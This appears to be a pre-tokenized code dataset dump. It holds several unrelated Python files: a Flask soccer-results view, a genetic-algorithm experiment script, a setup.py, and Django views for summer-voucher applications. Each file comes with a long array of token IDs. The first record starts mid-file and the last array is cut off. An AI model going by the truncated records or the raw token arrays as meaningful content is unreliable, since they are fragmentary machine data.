from rcj_soccer.views.auth import template
from rcj_soccer.views.competition import get_competition
@app.route("/<competition>", methods=["GET", "POST"])
def results(competition):
comp = get_competition(competition)
# now1 = datetime.now()
leagues = League.query.filter_by(competition_id=comp.id).all()
teams = Team.query.filter_by(is_system=False).filter(
Team.league.has(competition_id=comp.id)
).all()
# now2 = datetime.now()
sorted_data = {}
for team in teams:
if team.league_id not in sorted_data:
sorted_data[team.league_id] = {"teams": []}
team.cache()
sorted_data[team.league_id]["teams"].append(team)
for league in sorted_data.keys():
# sorted_data[league]["teams"].sort(key=lambda t: t.name + t.school)
# sorted_data[league]["teams"].sort(cmp=lambda t, o: o.compare(t))
sorted_data[league]["teams"].sort(key=lambda team: (
-1 * team.score(), -1 * team.goal_difference(),
-1 * team.goals_for(), -1 * team.games_played(), team.name
))
# now3 = datetime.now()
games = SoccerGame.query.filter(
SoccerGame.league.has(competition_id=comp.id)
).order_by(
SoccerGame.scheduled_time.asc(),
SoccerGame.round.asc(),
SoccerGame.field.asc()
).all()
# now4 = datetime.now()
for game in games:
if game.league_id not in sorted_data:
sorted_data[game.league_id] = {}
if "games" not in sorted_data[game.league_id]:
sorted_data[game.league_id]["games"] = []
game.is_bye()
sorted_data[game.league_id]["games"].append(game)
# now5 = datetime.now()
a = template(comp.id)
lc = max(1, int(12 / max(len(leagues), 1)))
# now6 = datetime.now()
rt = render_template("results.html", leagues=leagues, comp=comp,
data=sorted_data, league_count=lc, auth=a)
# now7 = datetime.now()
# print "1 =", now2 - now1
# print "2 =", now3 - now2
# print "3 =", now4 - now3
# print "4 =", now5 - now4
# print "5 =", now6 - now5
# print "6 =", now7 - now6
# print "total =", now7 - now1
return rt
| [
1,
529,
9507,
29958,
2214,
29926,
29918,
29879,
11953,
29914,
7406,
29914,
9902,
29889,
2272,
13,
3166,
29784,
1053,
4050,
29918,
6886,
13,
13,
3166,
364,
29883,
29926,
29918,
29879,
11953,
29889,
3188,
1053,
623,
13,
3166,
364,
29883,
29926,
29918,
29879,
11953,
29889,
9794,
1053,
18993,
14199,
29892,
8583,
29892,
5165,
13,
3166,
364,
29883,
29926,
29918,
29879,
11953,
29889,
7406,
29889,
5150,
1053,
4472,
13,
3166,
364,
29883,
29926,
29918,
29879,
11953,
29889,
7406,
29889,
2388,
300,
654,
1053,
679,
29918,
2388,
300,
654,
13,
13,
13,
29992,
932,
29889,
13134,
11974,
29966,
2388,
300,
654,
28341,
3519,
29922,
3366,
7194,
613,
376,
5438,
20068,
13,
1753,
2582,
29898,
2388,
300,
654,
1125,
13,
1678,
752,
353,
679,
29918,
2388,
300,
654,
29898,
2388,
300,
654,
29897,
13,
1678,
396,
1286,
29896,
353,
12865,
29889,
3707,
580,
13,
1678,
454,
21628,
353,
5165,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
2388,
300,
654,
29918,
333,
29922,
2388,
29889,
333,
467,
497,
580,
13,
1678,
10907,
353,
8583,
29889,
1972,
29889,
4572,
29918,
1609,
29898,
275,
29918,
5205,
29922,
8824,
467,
4572,
29898,
13,
4706,
8583,
29889,
280,
3437,
29889,
5349,
29898,
2388,
300,
654,
29918,
333,
29922,
2388,
29889,
333,
29897,
13,
1678,
13742,
497,
580,
13,
1678,
396,
1286,
29906,
353,
12865,
29889,
3707,
580,
13,
1678,
12705,
29918,
1272,
353,
6571,
13,
1678,
363,
3815,
297,
10907,
29901,
13,
4706,
565,
3815,
29889,
280,
3437,
29918,
333,
451,
297,
12705,
29918,
1272,
29901,
13,
9651,
12705,
29918,
1272,
29961,
14318,
29889,
280,
3437,
29918,
333,
29962,
353,
8853,
371,
2232,
1115,
5159,
29913,
13,
4706,
3815,
29889,
8173,
580,
13,
4706,
12705,
29918,
1272,
29961,
14318,
29889,
280,
3437,
29918,
333,
29962,
3366,
371,
2232,
16862,
4397,
29898,
14318,
29897,
13,
13,
1678,
363,
13225,
297,
12705,
29918,
1272,
29889,
8149,
7295,
13,
4706,
396,
12705,
29918,
1272,
29961,
280,
3437,
29962,
3366,
371,
2232,
16862,
6605,
29898,
1989,
29922,
2892,
260,
29901,
260,
29889,
978,
718,
260,
29889,
27041,
29897,
13,
4706,
396,
12705,
29918,
1272,
29961,
280,
3437,
29962,
3366,
371,
2232,
16862,
6605,
29898,
21058,
29922,
2892,
260,
29892,
288,
29901,
288,
29889,
18307,
29898,
29873,
876,
13,
4706,
12705,
29918,
1272,
29961,
280,
3437,
29962,
3366,
371,
2232,
16862,
6605,
29898,
1989,
29922,
2892,
3815,
29901,
313,
13,
9651,
448,
29896,
334,
3815,
29889,
13628,
3285,
448,
29896,
334,
3815,
29889,
28111,
29918,
29881,
17678,
3285,
13,
9651,
448,
29896,
334,
3815,
29889,
1484,
1338,
29918,
1454,
3285,
448,
29896,
334,
3815,
29889,
29887,
1280,
29918,
1456,
287,
3285,
3815,
29889,
978,
13,
308,
876,
13,
13,
1678,
396,
1286,
29941,
353,
12865,
29889,
3707,
580,
13,
1678,
8090,
353,
18993,
14199,
29889,
1972,
29889,
4572,
29898,
13,
4706,
18993,
14199,
29889,
280,
3437,
29889,
5349,
29898,
2388,
300,
654,
29918,
333,
29922,
2388,
29889,
333,
29897,
13,
1678,
13742,
2098,
29918,
1609,
29898,
13,
4706,
18993,
14199,
29889,
816,
14989,
29918,
2230,
29889,
6151,
3285,
13,
4706,
18993,
14199,
29889,
14486,
29889,
6151,
3285,
13,
4706,
18993,
14199,
29889,
2671,
29889,
6151,
580,
13,
1678,
13742,
497,
580,
13,
1678,
396,
1286,
29946,
353,
12865,
29889,
3707,
580,
13,
1678,
363,
3748,
297,
8090,
29901,
13,
4706,
565,
3748,
29889,
280,
3437,
29918,
333,
451,
297,
12705,
29918,
1272,
29901,
13,
9651,
12705,
29918,
1272,
29961,
11802,
29889,
280,
3437,
29918,
333,
29962,
353,
6571,
13,
4706,
565,
376,
29887,
1280,
29908,
451,
297,
12705,
29918,
1272,
29961,
11802,
29889,
280,
3437,
29918,
333,
5387,
13,
9651,
12705,
29918,
1272,
29961,
11802,
29889,
280,
3437,
29918,
333,
29962,
3366,
29887,
1280,
3108,
353,
5159,
13,
4706,
3748,
29889,
275,
29918,
26966,
580,
13,
4706,
12705,
29918,
1272,
29961,
11802,
29889,
280,
3437,
29918,
333,
29962,
3366,
29887,
1280,
16862,
4397,
29898,
11802,
29897,
13,
1678,
396,
1286,
29945,
353,
12865,
29889,
3707,
580,
13,
1678,
263,
353,
4472,
29898,
2388,
29889,
333,
29897,
13,
1678,
301,
29883,
353,
4236,
29898,
29896,
29892,
938,
29898,
29896,
29906,
847,
4236,
29898,
2435,
29898,
280,
21628,
511,
29871,
29896,
4961,
13,
1678,
396,
1286,
29953,
353,
12865,
29889,
3707,
580,
13,
1678,
364,
29873,
353,
4050,
29918,
6886,
703,
9902,
29889,
1420,
613,
454,
21628,
29922,
280,
21628,
29892,
752,
29922,
2388,
29892,
13,
462,
308,
848,
29922,
24582,
29918,
1272,
29892,
13225,
29918,
2798,
29922,
29880,
29883,
29892,
4817,
29922,
29874,
29897,
13,
1678,
396,
1286,
29955,
353,
12865,
29889,
3707,
580,
13,
1678,
396,
1596,
376,
29896,
353,
613,
1286,
29906,
448,
1286,
29896,
13,
1678,
396,
1596,
376,
29906,
353,
613,
1286,
29941,
448,
1286,
29906,
13,
1678,
396,
1596,
376,
29941,
353,
613,
1286,
29946,
448,
1286,
29941,
13,
1678,
396,
1596,
376,
29946,
353,
613,
1286,
29945,
448,
1286,
29946,
13,
1678,
396,
1596,
376,
29945,
353,
613,
1286,
29953,
448,
1286,
29945,
13,
1678,
396,
1596,
376,
29953,
353,
613,
1286,
29955,
448,
1286,
29953,
13,
1678,
396,
1596,
376,
7827,
353,
613,
1286,
29955,
448,
1286,
29896,
13,
1678,
736,
364,
29873,
13,
2
] |
main.py | cristi2019255/GeneticAlgorithm | 0 | 143070 | <reponame>cristi2019255/GeneticAlgorithm
from GeneticAlgorithm.BitArrayGenome import BitArrayGenome
from GeneticAlgorithm.Fitness import FITNESS_FUNCTIONS, CO
from GeneticAlgorithm.utils import find_crossover_fitness_correlation, find_optimal_population_size, test_ga
GENOME_CONFIG = {'type': BitArrayGenome, 'size': 40, 'crossover': '2X'}
def experiments_one_type_crossover():
for fitness_function in FITNESS_FUNCTIONS:
try:
population_size = find_optimal_population_size(fitness_function=fitness_function, genome_config= GENOME_CONFIG)
test_ga(fitness_function=fitness_function, genome_config=GENOME_CONFIG, population_size = population_size)
except Exception as e:
print(e)
print('FAILED to find optimal population size')
def experiments():
"""
Experiments: 2X crossover
"""
GENOME_CONFIG['crossover'] = '2X'
experiments_one_type_crossover()
"""
Experiments: UX crossover
"""
GENOME_CONFIG['crossover'] = 'UX'
experiments_one_type_crossover()
def experiments_fitness_correlation_coefficient():
population_size = 200
for fitness_function in FITNESS_FUNCTIONS:
GENOME_CONFIG['crossover'] = '2X'
correlation_2x = str(round(find_crossover_fitness_correlation(fitness_function, GENOME_CONFIG, population_size), 4))
GENOME_CONFIG['crossover'] = 'UX'
correlation_ux = str(round(find_crossover_fitness_correlation(fitness_function, GENOME_CONFIG, population_size), 4))
print(fitness_function.__name__.replace('_',' ') + ' & ' + correlation_2x + '& ' + correlation_ux + '\\\\')
def main():
experiments()
#test_ga(CO, genome_config= GENOME_CONFIG, population_size= 200, nr_of_runs=1, plot_results= True, trace_measures = True)
#experiments_fitness_correlation_coefficient()
if __name__ == '__main__':
main() | [
1,
529,
276,
1112,
420,
29958,
29883,
2021,
29875,
29906,
29900,
29896,
29929,
29906,
29945,
29945,
29914,
15462,
7492,
22461,
4540,
13,
3166,
5739,
7492,
22461,
4540,
29889,
21591,
2588,
15462,
608,
1053,
18531,
2588,
15462,
608,
13,
3166,
5739,
7492,
22461,
4540,
29889,
29943,
277,
2264,
1053,
383,
1806,
8186,
1799,
29918,
29943,
28700,
29903,
29892,
4810,
13,
3166,
5739,
7492,
22461,
4540,
29889,
13239,
1053,
1284,
29918,
29883,
1883,
578,
369,
29918,
9202,
2264,
29918,
2616,
23445,
29892,
1284,
29918,
3670,
3039,
29918,
7323,
2785,
29918,
2311,
29892,
1243,
29918,
3249,
13,
13,
24647,
29949,
2303,
29918,
25903,
353,
11117,
1853,
2396,
18531,
2588,
15462,
608,
29892,
525,
2311,
2396,
29871,
29946,
29900,
29892,
525,
29883,
1883,
578,
369,
2396,
525,
29906,
29990,
10827,
13,
13,
1753,
15729,
29918,
650,
29918,
1853,
29918,
29883,
1883,
578,
369,
7295,
13,
259,
363,
6216,
2264,
29918,
2220,
297,
383,
1806,
8186,
1799,
29918,
29943,
28700,
29903,
29901,
13,
308,
1018,
29901,
462,
418,
13,
9651,
4665,
29918,
2311,
353,
1284,
29918,
3670,
3039,
29918,
7323,
2785,
29918,
2311,
29898,
9202,
2264,
29918,
2220,
29922,
9202,
2264,
29918,
2220,
29892,
2531,
608,
29918,
2917,
29922,
402,
1430,
29949,
2303,
29918,
25903,
29897,
4706,
13,
9651,
1243,
29918,
3249,
29898,
9202,
2264,
29918,
2220,
29922,
9202,
2264,
29918,
2220,
29892,
2531,
608,
29918,
2917,
29922,
24647,
29949,
2303,
29918,
25903,
29892,
4665,
29918,
2311,
353,
4665,
29918,
2311,
29897,
13,
308,
5174,
8960,
408,
321,
29901,
13,
9651,
1596,
29898,
29872,
29897,
13,
9651,
1596,
877,
4519,
29902,
20566,
304,
1284,
14413,
4665,
2159,
1495,
13,
13,
1753,
15729,
7295,
13,
1678,
13,
259,
9995,
13,
259,
28224,
7862,
29901,
29871,
29906,
29990,
274,
1883,
578,
369,
13,
259,
9995,
13,
259,
402,
1430,
29949,
2303,
29918,
25903,
1839,
29883,
1883,
578,
369,
2033,
353,
525,
29906,
29990,
29915,
13,
259,
15729,
29918,
650,
29918,
1853,
29918,
29883,
1883,
578,
369,
580,
13,
259,
9995,
13,
259,
28224,
7862,
29901,
501,
29990,
274,
1883,
578,
369,
13,
259,
9995,
13,
259,
402,
1430,
29949,
2303,
29918,
25903,
1839,
29883,
1883,
578,
369,
2033,
353,
525,
29965,
29990,
29915,
13,
259,
15729,
29918,
650,
29918,
1853,
29918,
29883,
1883,
578,
369,
580,
13,
13,
1753,
15729,
29918,
9202,
2264,
29918,
2616,
23445,
29918,
1111,
8462,
7295,
13,
259,
4665,
29918,
2311,
353,
29871,
29906,
29900,
29900,
13,
259,
363,
6216,
2264,
29918,
2220,
297,
383,
1806,
8186,
1799,
29918,
29943,
28700,
29903,
29901,
13,
308,
402,
1430,
29949,
2303,
29918,
25903,
1839,
29883,
1883,
578,
369,
2033,
353,
525,
29906,
29990,
29915,
1678,
13,
308,
19869,
29918,
29906,
29916,
353,
851,
29898,
14486,
29898,
2886,
29918,
29883,
1883,
578,
369,
29918,
9202,
2264,
29918,
2616,
23445,
29898,
9202,
2264,
29918,
2220,
29892,
402,
1430,
29949,
2303,
29918,
25903,
29892,
4665,
29918,
2311,
511,
29871,
29946,
876,
1678,
13,
308,
402,
1430,
29949,
2303,
29918,
25903,
1839,
29883,
1883,
578,
369,
2033,
353,
525,
29965,
29990,
29915,
1678,
13,
308,
19869,
29918,
1314,
353,
851,
29898,
14486,
29898,
2886,
29918,
29883,
1883,
578,
369,
29918,
9202,
2264,
29918,
2616,
23445,
29898,
9202,
2264,
29918,
2220,
29892,
402,
1430,
29949,
2303,
29918,
25903,
29892,
4665,
29918,
2311,
511,
29871,
29946,
876,
1678,
13,
308,
1596,
29898,
9202,
2264,
29918,
2220,
17255,
978,
26914,
6506,
877,
29918,
3788,
25710,
718,
525,
669,
525,
718,
19869,
29918,
29906,
29916,
718,
525,
29987,
525,
718,
19869,
29918,
1314,
718,
525,
1966,
1966,
1495,
268,
13,
13,
1753,
1667,
7295,
539,
13,
259,
15729,
580,
4706,
13,
259,
396,
1688,
29918,
3249,
29898,
3217,
29892,
2531,
608,
29918,
2917,
29922,
402,
1430,
29949,
2303,
29918,
25903,
29892,
4665,
29918,
2311,
29922,
29871,
29906,
29900,
29900,
29892,
17114,
29918,
974,
29918,
3389,
29879,
29922,
29896,
29892,
6492,
29918,
9902,
29922,
5852,
29892,
9637,
29918,
1004,
25414,
353,
5852,
29897,
308,
13,
259,
396,
735,
546,
7862,
29918,
9202,
2264,
29918,
2616,
23445,
29918,
1111,
8462,
580,
13,
1678,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
259,
1667,
580,
2
] |
setup.py | dhruvdcoder/allennlp-wandb | 0 | 9938 | <reponame>dhruvdcoder/allennlp-wandb
from setuptools import setup, find_packages
install_requires = [
"allennlp>=0.9.0",
"wandb==0.8.15",
]
setup(
name='allennlp_wandb',
version='0.0.1',
description='Utilities to use allennlp with wandb',
packages=find_packages(
exclude=["*.tests", "*.tests.*", "tests.*", "tests"]),
package_data={'allennlp_wandb': ['py.typed']},
install_requires=install_requires,
zip_safe=False)
| [
1,
529,
276,
1112,
420,
29958,
12744,
582,
29894,
13891,
6119,
29914,
497,
2108,
22833,
29899,
18622,
29890,
13,
3166,
731,
21245,
8789,
1053,
6230,
29892,
1284,
29918,
8318,
13,
13,
6252,
29918,
276,
339,
2658,
353,
518,
13,
1678,
376,
497,
2108,
22833,
18572,
29900,
29889,
29929,
29889,
29900,
613,
13,
1678,
376,
18622,
29890,
1360,
29900,
29889,
29947,
29889,
29896,
29945,
613,
13,
29962,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
497,
2108,
22833,
29918,
18622,
29890,
742,
13,
1678,
1873,
2433,
29900,
29889,
29900,
29889,
29896,
742,
13,
1678,
6139,
2433,
7270,
1907,
304,
671,
599,
2108,
22833,
411,
24706,
29890,
742,
13,
1678,
9741,
29922,
2886,
29918,
8318,
29898,
13,
4706,
19060,
29922,
3366,
10521,
21150,
613,
376,
10521,
21150,
5575,
613,
376,
21150,
5575,
613,
376,
21150,
3108,
511,
13,
1678,
3577,
29918,
1272,
3790,
29915,
497,
2108,
22833,
29918,
18622,
29890,
2396,
6024,
2272,
29889,
1017,
9795,
2033,
1118,
13,
1678,
2601,
29918,
276,
339,
2658,
29922,
6252,
29918,
276,
339,
2658,
29892,
13,
1678,
14319,
29918,
11177,
29922,
8824,
29897,
13,
2
] |
backend/kesaseteli/applications/api/v1/views.py | jannetasa/yjdh | 0 | 26522 | from django.core import exceptions
from django.http import FileResponse
from django.utils.text import format_lazy
from django.utils.translation import gettext_lazy as _
from rest_framework import status
from rest_framework.decorators import action
from rest_framework.exceptions import ValidationError
from rest_framework.parsers import MultiPartParser
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response
from shared.audit_log.viewsets import AuditLoggingModelViewSet
from shared.oidc.auth import EAuthRestAuthentication
from applications.api.v1.auth import StaffAuthentication
from applications.api.v1.permissions import (
ALLOWED_APPLICATION_UPDATE_STATUSES,
ALLOWED_APPLICATION_VIEW_STATUSES,
ApplicationPermission,
get_user_company,
StaffPermission,
SummerVoucherPermission,
)
from applications.api.v1.serializers import (
ApplicationSerializer,
AttachmentSerializer,
SummerVoucherSerializer,
)
from applications.enums import ApplicationStatus
from applications.models import Application, SummerVoucher
class ApplicationViewSet(AuditLoggingModelViewSet):
queryset = Application.objects.all()
serializer_class = ApplicationSerializer
permission_classes = [IsAuthenticated, ApplicationPermission]
def get_queryset(self):
"""
Fetch all DRAFT status applications of the user & company.
Should inlcude only 1 application since we don't allow creation of multiple
DRAFT applications per user & company.
"""
queryset = (
super()
.get_queryset()
.select_related("company")
.prefetch_related("summer_vouchers")
)
user = self.request.user
if user.is_anonymous:
return queryset.none()
user_company = get_user_company(self.request)
return queryset.filter(
company=user_company,
user=user,
status__in=ALLOWED_APPLICATION_VIEW_STATUSES,
)
def create(self, request, *args, **kwargs):
"""
Allow only 1 (DRAFT) application per user & company.
"""
if self.get_queryset().filter(status=ApplicationStatus.DRAFT).exists():
raise ValidationError("Company & user can have only one draft application")
return super().create(request, *args, **kwargs)
def update(self, request, *args, **kwargs):
"""
Allow to update only DRAFT status applications.
"""
instance = self.get_object()
if instance.status not in ALLOWED_APPLICATION_UPDATE_STATUSES:
raise ValidationError("Only DRAFT applications can be updated")
return super().update(request, *args, **kwargs)
def destroy(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
class SummerVoucherViewSet(AuditLoggingModelViewSet):
queryset = SummerVoucher.objects.all()
serializer_class = SummerVoucherSerializer
authentication_classes = [EAuthRestAuthentication, StaffAuthentication]
permission_classes = [IsAuthenticated, SummerVoucherPermission | StaffPermission]
def get_queryset(self):
"""
Fetch summer vouchers of DRAFT status applications of the user & company.
"""
queryset = (
super()
.get_queryset()
.select_related("application")
.prefetch_related("attachments")
)
user = self.request.user
if user.is_staff:
return queryset
elif user.is_anonymous:
return queryset.none()
user_company = get_user_company(self.request)
return queryset.filter(
application__company=user_company,
application__user=user,
application__status__in=ALLOWED_APPLICATION_VIEW_STATUSES,
)
def create(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
def update(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
def retrieve(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
def list(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
def destroy(self, request, *args, **kwargs):
return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)
@action(
methods=("POST",),
detail=True,
url_path="attachments",
parser_classes=(MultiPartParser,),
)
def post_attachment(self, request, *args, **kwargs):
"""
Upload a single file as attachment
"""
obj = self.get_object()
if obj.application.status not in ALLOWED_APPLICATION_UPDATE_STATUSES:
raise ValidationError(
"Attachments can be uploaded only for DRAFT applications"
)
# Validate request data
serializer = AttachmentSerializer(
data={
"summer_voucher": obj.id,
"attachment_file": request.data["attachment_file"],
"content_type": request.data["attachment_file"].content_type,
"attachment_type": request.data["attachment_type"],
}
)
serializer.is_valid(raise_exception=True)
serializer.save()
return Response(serializer.data, status=status.HTTP_201_CREATED)
@action(
methods=(
"GET",
"DELETE",
),
detail=True,
url_path="attachments/(?P<attachment_pk>[^/.]+)",
)
def handle_attachment(self, request, attachment_pk, *args, **kwargs):
obj = self.get_object()
if request.method == "GET":
"""
Read a single attachment as file
"""
attachment = obj.attachments.filter(pk=attachment_pk).first()
if not attachment or not attachment.attachment_file:
return Response(
{
"detail": format_lazy(
_("File not found."),
)
},
status=status.HTTP_404_NOT_FOUND,
)
return FileResponse(attachment.attachment_file)
elif request.method == "DELETE":
"""
Delete a single attachment as file
"""
if obj.application.status not in ALLOWED_APPLICATION_UPDATE_STATUSES:
raise ValidationError(
"Attachments can be deleted only for DRAFT applications"
)
if (
obj.application.status
not in AttachmentSerializer.ATTACHMENT_MODIFICATION_ALLOWED_STATUSES
):
return Response(
{"detail": _("Operation not allowed for this application status.")},
status=status.HTTP_403_FORBIDDEN,
)
try:
instance = obj.attachments.get(id=attachment_pk)
except exceptions.ObjectDoesNotExist:
return Response(
{"detail": _("File not found.")}, status=status.HTTP_404_NOT_FOUND
)
instance.delete()
return Response(status=status.HTTP_204_NO_CONTENT)
| [
1,
515,
9557,
29889,
3221,
1053,
15283,
13,
3166,
9557,
29889,
1124,
1053,
3497,
5103,
13,
3166,
9557,
29889,
13239,
29889,
726,
1053,
3402,
29918,
433,
1537,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
679,
726,
29918,
433,
1537,
408,
903,
13,
3166,
1791,
29918,
4468,
1053,
4660,
13,
3166,
1791,
29918,
4468,
29889,
19557,
4097,
1053,
3158,
13,
3166,
1791,
29918,
4468,
29889,
11739,
29879,
1053,
15758,
362,
2392,
13,
3166,
1791,
29918,
4468,
29889,
862,
4253,
1053,
14974,
7439,
11726,
13,
3166,
1791,
29918,
4468,
29889,
17858,
6847,
1053,
1317,
6444,
4173,
630,
13,
3166,
1791,
29918,
4468,
29889,
5327,
1053,
13291,
13,
3166,
7258,
29889,
15052,
277,
29918,
1188,
29889,
1493,
7224,
1053,
8612,
277,
3403,
3460,
3195,
1043,
2697,
13,
3166,
7258,
29889,
3398,
29883,
29889,
5150,
1053,
382,
6444,
15078,
16746,
13,
13,
3166,
8324,
29889,
2754,
29889,
29894,
29896,
29889,
5150,
1053,
15351,
16746,
13,
3166,
8324,
29889,
2754,
29889,
29894,
29896,
29889,
17858,
6847,
1053,
313,
13,
1678,
15149,
9806,
3352,
29918,
3301,
7390,
28541,
29918,
14474,
29918,
17816,
17171,
29903,
29892,
13,
1678,
15149,
9806,
3352,
29918,
3301,
7390,
28541,
29918,
29963,
8673,
29956,
29918,
17816,
17171,
29903,
29892,
13,
1678,
8427,
27293,
29892,
13,
1678,
679,
29918,
1792,
29918,
14518,
29892,
13,
1678,
15351,
27293,
29892,
13,
1678,
13329,
29963,
3222,
261,
27293,
29892,
13,
29897,
13,
3166,
8324,
29889,
2754,
29889,
29894,
29896,
29889,
15550,
19427,
1053,
313,
13,
1678,
8427,
17679,
29892,
13,
1678,
6212,
25117,
17679,
29892,
13,
1678,
13329,
29963,
3222,
261,
17679,
29892,
13,
29897,
13,
3166,
8324,
29889,
264,
6762,
1053,
8427,
5709,
13,
3166,
8324,
29889,
9794,
1053,
8427,
29892,
13329,
29963,
3222,
261,
13,
13,
13,
1990,
8427,
1043,
2697,
29898,
29909,
566,
277,
3403,
3460,
3195,
1043,
2697,
1125,
13,
1678,
2346,
842,
353,
8427,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
8427,
17679,
13,
1678,
10751,
29918,
13203,
353,
518,
3624,
6444,
4173,
630,
29892,
8427,
27293,
29962,
13,
13,
1678,
822,
679,
29918,
1972,
842,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
383,
3486,
599,
360,
4717,
7818,
4660,
8324,
310,
278,
1404,
669,
5001,
29889,
13,
4706,
10575,
297,
29880,
29883,
1151,
871,
29871,
29896,
2280,
1951,
591,
1016,
29915,
29873,
2758,
11265,
310,
2999,
13,
4706,
360,
4717,
7818,
8324,
639,
1404,
669,
5001,
29889,
13,
4706,
9995,
13,
4706,
2346,
842,
353,
313,
13,
9651,
2428,
580,
13,
9651,
869,
657,
29918,
1972,
842,
580,
13,
9651,
869,
2622,
29918,
12817,
703,
14518,
1159,
13,
9651,
869,
29886,
999,
3486,
29918,
12817,
703,
2083,
1050,
29918,
29894,
3222,
414,
1159,
13,
4706,
1723,
13,
13,
4706,
1404,
353,
1583,
29889,
3827,
29889,
1792,
13,
4706,
565,
1404,
29889,
275,
29918,
25772,
29901,
13,
9651,
736,
2346,
842,
29889,
9290,
580,
13,
13,
4706,
1404,
29918,
14518,
353,
679,
29918,
1792,
29918,
14518,
29898,
1311,
29889,
3827,
29897,
13,
13,
4706,
736,
2346,
842,
29889,
4572,
29898,
13,
9651,
5001,
29922,
1792,
29918,
14518,
29892,
13,
9651,
1404,
29922,
1792,
29892,
13,
9651,
4660,
1649,
262,
29922,
1964,
27998,
3352,
29918,
3301,
7390,
28541,
29918,
29963,
8673,
29956,
29918,
17816,
17171,
29903,
29892,
13,
4706,
1723,
13,
13,
1678,
822,
1653,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
9995,
13,
4706,
29408,
871,
29871,
29896,
313,
29928,
4717,
7818,
29897,
2280,
639,
1404,
669,
5001,
29889,
13,
4706,
9995,
13,
4706,
565,
1583,
29889,
657,
29918,
1972,
842,
2141,
4572,
29898,
4882,
29922,
4873,
5709,
29889,
29928,
4717,
7818,
467,
9933,
7295,
13,
9651,
12020,
15758,
362,
2392,
703,
21410,
669,
1404,
508,
505,
871,
697,
18195,
2280,
1159,
13,
4706,
736,
2428,
2141,
3258,
29898,
3827,
29892,
334,
5085,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
2767,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
9995,
13,
4706,
29408,
304,
2767,
871,
360,
4717,
7818,
4660,
8324,
29889,
13,
4706,
9995,
13,
4706,
2777,
353,
1583,
29889,
657,
29918,
3318,
580,
13,
4706,
565,
2777,
29889,
4882,
451,
297,
15149,
9806,
3352,
29918,
3301,
7390,
28541,
29918,
14474,
29918,
17816,
17171,
29903,
29901,
13,
9651,
12020,
15758,
362,
2392,
703,
11730,
360,
4717,
7818,
8324,
508,
367,
4784,
1159,
13,
4706,
736,
2428,
2141,
5504,
29898,
3827,
29892,
334,
5085,
29892,
3579,
19290,
29897,
13,
13,
1678,
822,
8174,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
13,
1990,
13329,
29963,
3222,
261,
1043,
2697,
29898,
29909,
566,
277,
3403,
3460,
3195,
1043,
2697,
1125,
13,
1678,
2346,
842,
353,
13329,
29963,
3222,
261,
29889,
12650,
29889,
497,
580,
13,
1678,
7797,
3950,
29918,
1990,
353,
13329,
29963,
3222,
261,
17679,
13,
1678,
10760,
29918,
13203,
353,
518,
29923,
6444,
15078,
16746,
29892,
15351,
16746,
29962,
13,
1678,
10751,
29918,
13203,
353,
518,
3624,
6444,
4173,
630,
29892,
13329,
29963,
3222,
261,
27293,
891,
15351,
27293,
29962,
13,
13,
1678,
822,
679,
29918,
1972,
842,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
383,
3486,
11801,
325,
3222,
414,
310,
360,
4717,
7818,
4660,
8324,
310,
278,
1404,
669,
5001,
29889,
13,
4706,
9995,
13,
4706,
2346,
842,
353,
313,
13,
9651,
2428,
580,
13,
9651,
869,
657,
29918,
1972,
842,
580,
13,
9651,
869,
2622,
29918,
12817,
703,
6214,
1159,
13,
9651,
869,
29886,
999,
3486,
29918,
12817,
703,
14930,
1860,
1159,
13,
4706,
1723,
13,
13,
4706,
1404,
353,
1583,
29889,
3827,
29889,
1792,
13,
4706,
565,
1404,
29889,
275,
29918,
303,
3470,
29901,
13,
9651,
736,
2346,
842,
13,
4706,
25342,
1404,
29889,
275,
29918,
25772,
29901,
13,
9651,
736,
2346,
842,
29889,
9290,
580,
13,
13,
4706,
1404,
29918,
14518,
353,
679,
29918,
1792,
29918,
14518,
29898,
1311,
29889,
3827,
29897,
13,
13,
4706,
736,
2346,
842,
29889,
4572,
29898,
13,
9651,
2280,
1649,
14518,
29922,
1792,
29918,
14518,
29892,
13,
9651,
2280,
1649,
1792,
29922,
1792,
29892,
13,
9651,
2280,
1649,
4882,
1649,
262,
29922,
1964,
27998,
3352,
29918,
3301,
7390,
28541,
29918,
29963,
8673,
29956,
29918,
17816,
17171,
29903,
29892,
13,
4706,
1723,
13,
13,
1678,
822,
1653,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
1678,
822,
2767,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
12256,
29918,
1964,
27998,
3352,
29897,
13,
13,
1678,
822,
10563,
29898,
1311,
29892,
2009,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
4706,
736,
13291,
29898,
4882,
29922,
4882,
29889,
10493,
29918,
29946,
29900,
29945,
29918,
2303,
4690,
13668,
29918,
